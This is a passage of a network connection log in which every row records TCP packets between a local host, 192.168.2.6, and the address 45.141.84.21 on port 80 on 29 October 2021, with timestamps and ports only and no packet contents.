Oct 29, 2021 17:56:17.198159933 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.198180914 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.198199034 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.198221922 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.198242903 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.198254108 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.198281050 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.198301077 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.198314905 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.198354959 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.198364973 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.198381901 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.198410988 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.198422909 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.198432922 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.198452950 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.198471069 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.198477030 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.198515892 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.198668003 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.198676109 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.198693991 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.198710918 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.198743105 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.198757887 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.198780060 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.198852062 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.199075937 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.199099064 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.199119091 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.199135065 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.199145079 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.199187994 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.199234962 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.199276924 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.199287891 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.199312925 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.199354887 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.199362040 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.199409008 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.199434996 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.199450016 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.199501991 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.199553013 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.199803114 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.199831009 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.199852943 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.199868917 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.199887037 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.199903011 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.199919939 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.199935913 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.199963093 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.199985027 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.199995041 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.200014114 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.200037003 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.200045109 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.200058937 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.200073957 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.200095892 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.200115919 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.200126886 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.200144053 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.200154066 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.200172901 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.200208902 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.200231075 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.200252056 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.200267076 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.200288057 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.200309992 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.252125025 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.252160072 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.252183914 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.252207994 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.252229929 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.252254009 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.252269983 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.252290964 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.252312899 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.252327919 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.252341986 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.252357006 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.252377033 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.252396107 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.252417088 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.252441883 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.252458096 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.252466917 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.252489090 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.252511978 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.252521992 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.252536058 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.252553940 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.252576113 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.252600908 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.252607107 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.252629042 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.252643108 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.252655983 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.252677917 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.252697945 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.252708912 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.252731085 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.252753019 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.252767086 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.252783060 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.252819061 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.252882004 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.252899885 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.252940893 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.253437042 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.253463984 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.253485918 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.253498077 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.253521919 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.253535032 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.253556013 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.253577948 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.253602028 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.253614902 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.253638983 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.253658056 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.253669977 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.253691912 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.253714085 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.253725052 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.253748894 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.253762007 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.253781080 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.253798008 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.253818035 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.253828049 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.253850937 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.253865957 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.253881931 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.253906965 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.253921032 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.253940105 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.253962040 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.253983021 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.253995895 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.254035950 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.303739071 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.303772926 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.303798914 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.303822994 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.303847075 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.303869963 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.303884029 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.303909063 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.303939104 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.303986073 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.304012060 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.304028988 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.304047108 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.304064989 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.304085016 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.304099083 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.304124117 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.304137945 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.304158926 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.304167986 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.304184914 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.304210901 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.304244041 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.304267883 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.304285049 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.304317951 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.304335117 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.304359913 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.304493904 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.304518938 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.304541111 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.304555893 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.304578066 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.304600000 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.304610014 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.304630995 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.304651022 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.304657936 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.304686069 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.304987907 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.305013895 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.305033922 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.305046082 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.305062056 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.305072069 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.305088997 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.305103064 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.305130959 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.305139065 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.305150032 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.305165052 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.305185080 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.305198908 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.305238962 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.305259943 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.305272102 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.305318117 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.305366993 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.305383921 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.305399895 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.305427074 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.305448055 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.305485964 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.305491924 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.305507898 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.305537939 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.305558920 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.305566072 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.305599928 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.305622101 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.305644989 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.305661917 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.305681944 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.305809975 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.305828094 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.305844069 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.305859089 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.305871964 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.305893898 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.305901051 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.305921078 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.305932999 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.305946112 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.305985928 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.306221008 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.306242943 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.306257963 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.306271076 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.306281090 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.306350946 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.356435061 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.356468916 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.356492043 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.356509924 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.356530905 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.356553078 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.356580973 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.356605053 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.356632948 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.356786013 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.356805086 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.356899977 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.357192039 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.357218027 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.357242107 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.357259989 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.357331038 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.357394934 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.357419968 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.357436895 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.357460976 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.357489109 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.357502937 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.357526064 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.357569933 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.357590914 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.357608080 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.357631922 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.357641935 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.357666016 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.357680082 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.357709885 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.357716084 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.357755899 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.357841015 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.357866049 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.357888937 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.357898951 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.357923031 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.357938051 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.357958078 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.357983112 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.358001947 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.358012915 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.358052969 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.358088017 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.358110905 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.358131886 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.358144045 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.358242989 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.358308077 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.358335972 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.358359098 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.358388901 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.358392000 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.358413935 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.358438969 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.358455896 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.358468056 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.358484983 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.358508110 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.358551979 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.358562946 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.358583927 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.358603001 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.358627081 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.358705044 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.358741999 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.358762026 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.358798981 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.358819962 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.358843088 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.358853102 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.358872890 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.358892918 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.358900070 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.358937979 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.359196901 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.359220982 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.359288931 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.359342098 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.359373093 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.359411001 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.359420061 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.359441042 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.359462023 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.359484911 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.359491110 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.359509945 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.359529018 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.359541893 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.359560966 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.359569073 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.409101009 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.409136057 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.409188032 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.409193039 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.409269094 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.409321070 CEST	49856	80	192.168.2.6	45.141.84.21
